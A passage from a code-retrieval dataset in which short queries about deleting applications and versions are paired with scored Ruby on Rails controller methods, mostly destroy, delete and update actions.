"text": "def update\n respond_to do |format|\n if @booth.update(booth_params)\n format.html { redirect_to event_booth_path(@booth), notice: 'Booth was successfully updated.' }\n format.json { render :show, status: :ok, location: @booth }\n else\n format.html { render :edit }\n format.json { render json: @booth.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3911e1a0221b1a9863abea430c3545ad",
"score": "0.56321424",
"text": "def update\n if @bookkeeping.update(bookkeeping_params)\n head :no_content\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cf8306cb3cd3a4245ae6a4ef94eeb480",
"score": "0.56316686",
"text": "def update\n respond_to do |format|\n if @buisness.update(buisness_params)\n format.html { redirect_to @buisness, notice: 'Buisness was successfully updated.' }\n format.json { render :show, status: :ok, location: @buisness }\n else\n format.html { render :edit }\n format.json { render json: @buisness.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a0c7a719e4901f4c449156a1a9b61293",
"score": "0.56306493",
"text": "def update\n respond_to do |format|\n if @bet.update(bet_params)\n format.html { redirect_to @bet, notice: 'Bet was successfully updated.' }\n format.json { render :show, status: :ok, location: @bet }\n else\n format.html { render :edit }\n format.json { render json: @bet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a0c7a719e4901f4c449156a1a9b61293",
"score": "0.56306493",
"text": "def update\n respond_to do |format|\n if @bet.update(bet_params)\n format.html { redirect_to @bet, notice: 'Bet was successfully updated.' }\n format.json { render :show, status: :ok, location: @bet }\n else\n format.html { render :edit }\n format.json { render json: @bet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a0c7a719e4901f4c449156a1a9b61293",
"score": "0.56306493",
"text": "def update\n respond_to do |format|\n if @bet.update(bet_params)\n format.html { redirect_to @bet, notice: 'Bet was successfully updated.' }\n format.json { render :show, status: :ok, location: @bet }\n else\n format.html { render :edit }\n format.json { render json: @bet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edf4911c4ba1586270e2e1fe6f7317b1",
"score": "0.56296766",
"text": "def update\n @api_v1_post_vote = PostVote.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_vote.update_attributes(params[:api_v1_post_vote])\n format.html { redirect_to @api_v1_post_vote, notice: 'Post vote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b4020428f9a76ff055033b757892ae7",
"score": "0.56281585",
"text": "def update\n @coin_set = CoinSet.find(params[:id])\n \n respond_to do |format|\n if @coin_set.update_attributes(params[:coin_set])\n # an update should be coming from the coin_set show page.\n format.html { redirect_to @coin_set, notice: 'Coin set was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coin_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
2b8a4469c43e883a8bd1fdea5b190e8e
|
DELETE /applications/1 DELETE /applications/1.json
|
[
{
"docid": "6d12c4451d200e505e8c4e1dfc40c185",
"score": "0.7420919",
"text": "def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "9d3132fa4d9f52107547a6a1974a50ab",
"score": "0.8000132",
"text": "def delete_app name\n try_json delete(\"/app/#{name}\")\n end",
"title": ""
},
{
"docid": "10154da90b783be0d47c884987e275d6",
"score": "0.79697895",
"text": "def delete_application(application_id)\n start.uri('/api/application')\n .url_segment(application_id)\n .url_parameter('hardDelete', true)\n .delete()\n .go()\n end",
"title": ""
},
{
"docid": "d115689195204e31d7e22a99ff4412e7",
"score": "0.78980976",
"text": "def delete_application(application_id)\n start.uri('/api/application')\n .url_segment(application_id)\n .url_parameter('hardDelete', true)\n .delete()\n .go()\n end",
"title": ""
},
{
"docid": "6bac329c89711953ca6bc8811a7cd45a",
"score": "0.77941674",
"text": "def delete_app name\n\t\t\tdelete(\"/apps/#{name}.json?token=#{auth_token}\")\n\t\tend",
"title": ""
},
{
"docid": "fbb5a8b2e476b35e2ee04cd6a3d50879",
"score": "0.7729645",
"text": "def delete(id)\n json = @connection.delete(\"/v_beta/apps/#{id}\")\n end",
"title": ""
},
{
"docid": "e478a951415dd2c56cbeca82872d6bd5",
"score": "0.760624",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e478a951415dd2c56cbeca82872d6bd5",
"score": "0.760624",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e478a951415dd2c56cbeca82872d6bd5",
"score": "0.760624",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0914b357805cefc2624b7bbfcf94972a",
"score": "0.7552732",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0914b357805cefc2624b7bbfcf94972a",
"score": "0.7552732",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df0c4f433b8a5c85faf0417a17407a24",
"score": "0.75480956",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "aead6d8aae804daa738f64b720e95b6b",
"score": "0.75217336",
"text": "def destroy\n @app = ClientApp.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7d2169225f78572cbb2392984c69f08b",
"score": "0.7508654",
"text": "def delete_application(application_id)\n @tropo_client.delete(\"applications/#{application_id.to_s}\")\n end",
"title": ""
},
{
"docid": "2d4aaad352059af5a178a774495e5a5e",
"score": "0.74890316",
"text": "def destroy\n @clients_application = ClientsApplication.find(params[:id])\n @clients_application.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_applications_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "3edc08d83d9b6531371b903dbdd3a7e9",
"score": "0.7481518",
"text": "def destroy\n @application_detail.destroy\n respond_to do |format|\n format.html { redirect_to application_details_url, notice: 'Rest URI was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7c9af7dd0153f3d0708a4124981f8135",
"score": "0.7475358",
"text": "def delete_app(app)\n connection.request(\n :method => :delete,\n :path => \"/apps/#{app}\"\n )\n end",
"title": ""
},
{
"docid": "1155d61839056b78cdcd3f80a24b2499",
"score": "0.74407476",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to manage_applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "daeb2ba674793ea8c1f0b4685a40ef18",
"score": "0.743211",
"text": "def destroy\n @single_app.destroy\n respond_to do |format|\n format.html { redirect_to single_apps_url, notice: 'Single app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2c2dc1c8d135ce303fdbeadb9fe4eadc",
"score": "0.74254733",
"text": "def destroy\n @ios_application = IosApplication.find(params[:id])\n @ios_application.destroy\n\n respond_to do |format|\n format.html { redirect_to ios_applications_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5bbe33d009b93440cff4098d88b97f6c",
"score": "0.7383959",
"text": "def delete\n\n render json: { message: \"this is not needed right now\" }\n\n # @applications = Application.destroy_all\n # if @applications.present?\n # puts \"deleting...\"\n # render json: { message: \"ok\" }\n # else\n # render json: { message: \"nothing to delete\" }\n # end\n \n end",
"title": ""
},
{
"docid": "13ce9f9001c06d4ae7454d19a703bd1d",
"score": "0.7376699",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f811506777b632923b7dd5d35b9afa8c",
"score": "0.7369016",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f811506777b632923b7dd5d35b9afa8c",
"score": "0.7369016",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3edf0bb7bb1ee6d2a22c5a095890cbd1",
"score": "0.7334324",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to edit_app_url(@app), notice: 'App was succussfully removed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "414c978e313c77c08b71d852e110b557",
"score": "0.733424",
"text": "def destroy\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e7ceaf6190425c069f9780767634a08e",
"score": "0.731284",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to user_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b0c7e5904e92d69745e09dc4e5c0b288",
"score": "0.73071563",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b0c7e5904e92d69745e09dc4e5c0b288",
"score": "0.73071563",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b0c7e5904e92d69745e09dc4e5c0b288",
"score": "0.73071563",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6c56153d7c6c0912a74fb3c6ecc9ca51",
"score": "0.7288097",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to admin_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7c78cef811a113ce7f4901846996ab9f",
"score": "0.72869617",
"text": "def destroy\r\n @application.destroy\r\n respond_to do |format|\r\n format.html { redirect_to applications_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "a8c76748538f9ca7754cfbfaeffed618",
"score": "0.72818685",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to admin_apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "734c264db004ecbdf30cafa63120c8e5",
"score": "0.72769815",
"text": "def destroy\n @monitoring_app = MonitoringApp.find(params[:id])\n @monitoring_app.destroy\n\n respond_to do |format|\n format.html { redirect_to monitoring_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "560e897eb22f65b19b753d728181f3a9",
"score": "0.72750854",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to startups_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "60f0e9c8d2050e679fa8acd56b8a0303",
"score": "0.7260006",
"text": "def delete(app_id_or_app_name)\n @client.app.delete(app_id_or_app_name)\n end",
"title": ""
},
{
"docid": "60f0e9c8d2050e679fa8acd56b8a0303",
"score": "0.7260006",
"text": "def delete(app_id_or_app_name)\n @client.app.delete(app_id_or_app_name)\n end",
"title": ""
},
{
"docid": "a5a7e41ed63774ef0305c2c4a87d634e",
"score": "0.7253046",
"text": "def destroy\n @acc_application.destroy\n respond_to do |format|\n format.html { redirect_to acc_applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e096a4d903a7b86504fc1b14319bb64f",
"score": "0.7248754",
"text": "def destroy\n @core_application = Core::Application.find(params[:id])\n @core_application.destroy\n\n respond_to do |format|\n format.html { redirect_to core_applications_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7795262acc610960b0c1aaab0d0d7c98",
"score": "0.72327995",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to job_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c8f6b10b2ec0fd04fb213c64368e9466",
"score": "0.7217374",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2ef14f6f0a2c66da6a3fb2a91af29773",
"score": "0.7192262",
"text": "def destroy\n @app_detail.destroy\n respond_to do |format|\n format.html { redirect_to app_details_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5192987f0f2d2ffd40bf1e2fb563084f",
"score": "0.7183045",
"text": "def destroy\n @application = current_user.owned_applications.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path(current_user), notice: \"Application Deleted!\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bb099e8eaa7d790aaef889bbf84d3a9f",
"score": "0.71830386",
"text": "def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to(applications_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "dc615e69f3adf55d5adc49d790bb3d2e",
"score": "0.71792066",
"text": "def destroy\n @applist.destroy\n respond_to do |format|\n format.html { redirect_to applists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "783254991046929dc1c3b2f56bc09359",
"score": "0.71785027",
"text": "def destroy\n @app_key = AppKey.find(params[:id])\n @app_key.destroy\n\n respond_to do |format|\n format.html { redirect_to app_keys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "489932d9e29d5889be3c7465a2e57518",
"score": "0.71747935",
"text": "def destroy\n @phasetwo_application.destroy\n respond_to do |format|\n format.html { redirect_to acc_applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "51b75f3b29f282df5ba67f54344214e4",
"score": "0.71639544",
"text": "def delete_apps()\n apps = @client.describe_apps({:stack_id => stack_id})[:apps]\n apps.each do |a|\n @client.delete_app({:app_id => a[:app_id]})\n puts \"App '#{a[:name]}' deleted.\"\n end\n end",
"title": ""
},
{
"docid": "a6a55b8b91317d7a5dc7cd98075a8c6a",
"score": "0.7149383",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Обращение было успешно удалено.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "de1776f3ed668ffd10e955d4c2532c74",
"score": "0.7141707",
"text": "def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to platform_apps_path(@platform), notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "17bd41708c1ddb4a0d11e6733f39bdd3",
"score": "0.7140978",
"text": "def destroy\n\t\t\t @app = App.find(params[:id])\n\t\t\t @app.destroy\n\t\t\t head :no_content\n\t\t end",
"title": ""
},
{
"docid": "375a11d94e8b5d3f846bd8b373f9bec7",
"score": "0.7138288",
"text": "def destroy\n @mobile_app.destroy\n respond_to do |format|\n format.html { redirect_to mobile_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "99fe48b7f710c16f4dde6d98b0b28c13",
"score": "0.7107386",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n redirect_to apps_path\n end",
"title": ""
},
{
"docid": "ae71fac6db9d19632895a3dfa87358e8",
"score": "0.709543",
"text": "def destroy\n @customer_app.destroy\n respond_to do |format|\n format.html { redirect_to customer_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "481ef74c1ae2a16a5aff67641475e872",
"score": "0.7095063",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(cms_apps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "049765e92794781e154c430362286626",
"score": "0.70898134",
"text": "def destroy\n @app_add.destroy\n respond_to do |format|\n format.html { redirect_to app_adds_url, notice: 'App add was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8833ea66c4e8ba2f90b9bb805a4f0b0b",
"score": "0.70732456",
"text": "def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to app_configs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1ff968a508a17ac2af8a23f9793639d9",
"score": "0.7068013",
"text": "def destroy\n @first_appinfo = FirstAppinfo.find(params[:id])\n @first_appinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to first_appinfos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "811425af15995dfc20fbfe46fcc90fc4",
"score": "0.7066583",
"text": "def destroy\n @my_application.destroy\n respond_to do |format|\n format.html { redirect_to my_applications_url, notice: 'My application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4411fc2c44178833b9e41c44f5ce363",
"score": "0.7065258",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a8d741ed7fc67554d2ae02991a62c7d",
"score": "0.7063978",
"text": "def destroy\n @myapp.destroy\n respond_to do |format|\n format.html { redirect_to myapps_url, notice: \"Myapp was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6f7b9a1fd193a0ca38f7aa88e994fcd5",
"score": "0.70627594",
"text": "def destroy\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.destroy\n format.html { redirect_to apps_url,\n notice: (crud_notice('destroyed', @app) + \"#{undo_link(@app)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to apps_url, alert: \"#{@app.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91d45c8c513248903af948fc1da259c9",
"score": "0.7046407",
"text": "def destroy\n @check_app.destroy\n respond_to do |format|\n format.html { redirect_to check_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "03679e301b2e6b1104248b3065c3202b",
"score": "0.70440096",
"text": "def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7247e2fc405f872d579fbc2813d05e85",
"score": "0.7043128",
"text": "def destroy\n authorize! :destory, @application\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e5d10b78a473d7f31197fe2118cb7a8f",
"score": "0.704149",
"text": "def destroy\n @experiment_system_app = ExperimentSystemApp.find(params[:id])\n @experiment_system_app.destroy\n\n respond_to do |format|\n format.html { redirect_to experiment_system_apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "63404c9964996d24e85d2e763cdf2c09",
"score": "0.7029933",
"text": "def destroy\n @app = App.find(params[:id])\n require_owner(@app, current_user)\n\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "31e95fa4598b3fba4666a67dfeb41b93",
"score": "0.70200217",
"text": "def destroy\n @application = Application.find(params[:id])\n entity = @application.entity\n\n @application.destroy\n entity.destroy\n\n respond_to do |format|\n format.html { redirect_to(applications_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "335bd86265ff6ec40e97e6d84c4f2ce1",
"score": "0.7013627",
"text": "def destroy\n @demoapp = Demoapp.find(params[:id])\n @demoapp.destroy\n\n respond_to do |format|\n format.html { redirect_to demoapps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f37f861803554c2665605b5016f05b88",
"score": "0.70110255",
"text": "def destroy\n @rush_application = RushApplication.find(params[:id])\n @rush_application.destroy\n\n respond_to do |format|\n format.html { redirect_to rush_applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cbe82a68597a46c8a97467a1e233354b",
"score": "0.70047873",
"text": "def destroy\n @oauth_application.destroy\n respond_to do |format|\n format.html { redirect_to oauth_applications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ec3a6daa18cdc01608174619db02f04",
"score": "0.697807",
"text": "def destroy\n authorize! :destroy, @application\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "35ad29becce0519bb649306a00fb9dd5",
"score": "0.69749826",
"text": "def destroy\n @request_application.destroy\n respond_to do |format|\n format.html { redirect_to request_applications_url, notice: 'Request application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "451c956a4a1ec965608d7b6c5dfb5970",
"score": "0.697029",
"text": "def destroy\n @app = App.find(params[:id])\n if @app.destroy\n flash[:notice] = \"#{@app.name} application has been deleted.\"\n else\n flash[:alert] = \"A Validation Error Occurred! #{@app.errors[:base].to_s}\"\n end\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "acf7165b57a438c4d1d8e98a35751e12",
"score": "0.69689846",
"text": "def destroy\n @application = Application.find(params[:id])\n @application.destroy\n return head :ok\n end",
"title": ""
},
{
"docid": "f0709f9340aabd5c5d6f2796ab7413b0",
"score": "0.69672024",
"text": "def destroy\n @application = Application.find(params[:id])\n @application.destroy\n @application.save\n redirect_to welcome_homepage_url\n end",
"title": ""
},
{
"docid": "675e9eeba3fd8d466a679ff93b8cdfe5",
"score": "0.696375",
"text": "def destroy\n @app_link.destroy\n respond_to do |format|\n format.html { redirect_to app_links_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "124f13675e505cacccf1aef1137df34e",
"score": "0.69604087",
"text": "def destroy\n if @user.id != @application.user.id \n redirect_to applications_path, notice: \"Not authorized!\"\n end\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: \"Application deleted.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "392bad51d650c3c12f5f595ad7264576",
"score": "0.6953687",
"text": "def destroy\n app_id = @app_resource.app_id\n @app_resource.destroy\n respond_to do |format|\n format.html { redirect_to app_resources_url(app_id: app_id), notice: 'App resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "977724a2c0a9daba91d2ed0b34f1b32b",
"score": "0.6938889",
"text": "def destroy\n @testapp.destroy\n respond_to do |format|\n format.html { redirect_to testapps_url, notice: 'Testapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ec7cbc652c44a8774e4e28841cfcf13",
"score": "0.69356304",
"text": "def destroy\n @user_app.destroy\n respond_to do |format|\n format.html { redirect_to user_apps_url, notice: 'User app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ec7cbc652c44a8774e4e28841cfcf13",
"score": "0.69356304",
"text": "def destroy\n @user_app.destroy\n respond_to do |format|\n format.html { redirect_to user_apps_url, notice: 'User app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "600478a06e4d715f41927c878a609697",
"score": "0.69355386",
"text": "def destroy\n @app = App.find(params[:id])\n @app.destroy\n flash[:success] = \"App '#{@app.name}' deleted.\"\n redirect_to apps_path\n end",
"title": ""
},
{
"docid": "4eef84d776b9b51771db875880d1ea18",
"score": "0.6926861",
"text": "def destroy\n @mobileapp.destroy\n respond_to do |format|\n format.html { redirect_to mobileapps_url, notice: 'Mobileapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c21ecea30e09318e4073a044829bce38",
"score": "0.6925636",
"text": "def destroy\n @app_service = AppService.find(params[:id])\n @app_service.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b7bbe21ebe547d0c20e0a67fbe89e3d5",
"score": "0.6925214",
"text": "def delete_api_app(opts)\n path = '/api_app/' + opts[:client_id]\n delete(path)\n end",
"title": ""
},
{
"docid": "7557006d3e8e536a94eef7fbd1d5f323",
"score": "0.6922758",
"text": "def destroy\n @myfirstapp.destroy\n respond_to do |format|\n format.html { redirect_to myfirstapps_url, notice: 'Myfirstapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4aa539e15236a1411174c5cab8a78c27",
"score": "0.6922569",
"text": "def destroy\n @social_app = SocialApp.find(params[:id])\n @social_app.destroy\n\n respond_to do |format|\n format.html { redirect_to social_apps_url }\n format.json { head :ok }\n end\n end",
"title": ""
}
] |
fd9f519cf93097ea7c0f3043bd6c5cf2
|
Delete specific version, pass in version object
|
[
{
"docid": "55333ae2df48b1b51a91331e4b375e4e",
"score": "0.8455877",
"text": "def delete_version(version)\n get_version(version).delete\n load_versions\n end",
"title": ""
}
] |
[
{
"docid": "48d88c2c9cb301b94051d4a19a3c27aa",
"score": "0.81223404",
"text": "def delete(version)\n Backlogjp.base._command \"deleteVersion\", Container.get_id(version)\n end",
"title": ""
},
{
"docid": "b7ec5412d2d2c9a0fbbddfd786111b04",
"score": "0.796534",
"text": "def delete!\n versions.each{|version| version.delete }\n delete\n end",
"title": ""
},
{
"docid": "179ff0053e8f4f967cb3d92206094cf0",
"score": "0.79133654",
"text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "f268303e68b7b8978cf49a0bb2d0fc40",
"score": "0.78147525",
"text": "def box_version_delete(username:, name:, version:)\n request(method: :delete, path: \"/box/#{username}/#{name}/version/#{version}\")\n end",
"title": ""
},
{
"docid": "1bf82913d64ed931650b98e99b9c04ca",
"score": "0.78003836",
"text": "def destroy_version\n @extension = Extension.with_name(params[:extension]).first!\n @extension_version = @extension.get_version!(params[:version])\n\n begin\n authorize! @extension, :destroy?\n rescue\n error({}, 403)\n else\n @extension_version.destroy\n UniverseCache.flush\n end\n end",
"title": ""
},
{
"docid": "8e90c188fd606a56738f6533bfdea0db",
"score": "0.76315475",
"text": "def delete_version( vid )\n uri = URI::HTTP.build( {:host => @host, :port => @port,\n :path => build_resource(vid), :query => \"versions\" } )\n\n headers = {}\n\n request = build_request( EsuRestApi::DELETE, uri, headers, nil )\n\n response = @session.request( request )\n\n handle_error( response )\n end",
"title": ""
},
{
"docid": "e42a1253c2ec9aa0c0e49e32f011959d",
"score": "0.7533504",
"text": "def delete_version\n ClientError.delete_version(params[:version])\n index\n render :action => 'index'\n end",
"title": ""
},
{
"docid": "dd015b09aaa25541712712caa8d73b12",
"score": "0.7437054",
"text": "def destroy\n @version = Version.find(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to(versions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
